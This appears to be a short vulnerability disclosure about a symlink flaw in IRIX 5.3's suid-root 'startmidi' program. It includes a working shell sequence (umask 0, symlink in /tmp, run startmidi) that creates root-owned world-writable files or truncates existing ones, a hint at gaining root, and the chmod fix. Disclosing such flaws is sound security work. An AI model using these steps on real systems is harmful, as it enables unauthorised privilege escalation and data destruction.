Whilst browsing around the filesystem on my SGI (running IRIX 5.3), I
noticed a little suid-root program called 'startmidi' which hides in
/usr/sbin. When run, this program creates various files in /tmp. You
guessed it, it respects umask and follows symlinks. Comme ca:

% umask 0
% ln -s /blardyblar /tmp/.midipid
% startmidi -d /dev/ttyd1
% ls -l /blardyblar
-rw-rw-rw-    1 root     pgrad          0 Feb  9 17:46 /blardyblar
% stopmidi -d /dev/ttyd1
%

Any existing files are trucated to zero length. New files are created
root-owned, mode 0666. I leave it to your furtive imaginations to get
root from this. 'stopmidi' removes the files created by 'startmidi' so
you may have to run that first if /tmp/.midipid already exists.

chmod -s /usr/sbin/startmidi fixes this problem.